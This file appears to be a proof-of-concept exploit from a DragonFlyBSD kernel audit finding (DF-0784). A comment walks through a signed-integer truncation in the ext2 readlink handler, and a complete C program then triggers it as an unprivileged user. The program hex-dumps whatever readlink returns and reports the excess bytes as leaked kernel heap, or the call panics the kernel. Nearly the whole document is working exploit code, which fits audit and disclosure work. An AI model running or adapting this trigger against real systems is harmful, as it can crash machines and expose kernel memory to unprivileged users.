DragonFlyBSD Kernel Audit
DF-0784 / readlink_poc.c
← back to finding ↓ download raw
/*
 * DF-0784 trigger.
 *
 * Call readlink(2) on a symlink whose ext2 on-disk i_size has been patched
 * to 0x80000000 (bit 31 set).  In the kernel:
 *
 *   sys/vfs/ext2fs/ext2_vnops.c:1345
 *   static int
 *   ext2_readlink(struct vop_readlink_args *ap)
 *   {
 *       struct vnode *vp = ap->a_vp;
 *       struct inode *ip = VTOI(vp);
 *       int isize;                                  // <-- signed 32-bit
 *       isize = ip->i_size;                         // truncates 0x80000000 -> -2^31
 *       if (isize < vp->v_mount->mnt_maxsymlinklen) // -2^31 < 60 -> TRUE
 *           uiomove((char *)ip->i_shortlink, isize, ap->a_uio);
 *               // isize (int) -> size_t: sign-extended to 0xFFFFFFFF80000000
 *               // kern_subr.c uiomove() then loops copyout() from i_shortlink
 *               // (deep inside struct inode, in a kernel slab) into user RAM.
 *       return (0);
 *   }
 *
 * Depending on the kernel build and the slab layout immediately following the
 * inode, the result on the default GENERIC kernel is one of:
 *   (a) a kernel-mode page fault while copyout() walks past the slab -> panic
 *       "fatal trap 12: page fault while in kernel mode";
 *   (b) a KKASSERT trip if one happens to fire first;
 *   (c) on INVARIANTS-OFF ("production") builds, a large disclosure of kernel
 *       heap to the user buffer up to the first unmapped page.
 *
 * This program runs as an unprivileged user.  Usage: readlink_poc <symlink>
 */
#include <sys/param.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

int main(int argc, char **argv)
{
    const char *path;
    char *buf;
    size_t bufsz;
    ssize_t n;

    if (argc < 2) {
        fprintf(stderr, "usage: %s <symlink> [bufkb]\n", argv[0]);
        return 2;
    }
    path = argv[1];
    bufsz = (argc >= 3) ? (size_t)strtoul(argv[2], NULL, 0) * 1024 : 4096;
    if (bufsz == 0) bufsz = 4096;
    if (bufsz > 16UL * 1024 * 1024) bufsz = 16UL * 1024 * 1024;

    buf = malloc(bufsz);
    if (!buf) { perror("malloc"); return 2; }

    printf("[*] readlink(\"%s\") bufsz=%zu pid=%d uid=%d\n",
           path, bufsz, getpid(), getuid());
    fflush(stdout);

    n = readlink(path, buf, bufsz);
    if (n < 0) {
        printf("[!] readlink returned -1: errno=%d (%s)\n", errno, strerror(errno));
        return 1;
    }

    printf("[+] readlink returned %zd bytes\n", n);
    fflush(stdout);

    /* Dump the returned bytes.  We expect the legit 18-byte target followed by
     * kernel heap residue (on a production build) or we never reach here (panic
     * on GENERIC). */
    {
        size_t i, per = 16;
        size_t show = (size_t)n;
        if (show > 512) show = 512;       /* cap terminal output */
        for (i = 0; i < show; i += per) {
            size_t j, k = i;
            printf("%08zx  ", i);
            for (j = 0; j < per && k < show; j++, k++)
                printf("%02x ", (unsigned char)buf[k]);
            printf(" |");
            for (j = 0, k = i; j < per && k < show; j++, k++) {
                unsigned char c = buf[k];
                putchar((c >= 32 && c < 127) ? c : '.');
            }
            printf("|\n");
        }
        if ((size_t)n > show)
            printf("... (%zd bytes total, %zu shown)\n", n, show);
    }

    /* Heuristic: anything past the legit 18-byte target string is leaked
     * kernel heap. */
    if (n > 18) {
        size_t leak = (size_t)n - 18;
        printf("[!] LEAK: %zu bytes of kernel heap beyond the legit target\n", leak);
    }
    free(buf);
    return 0;
}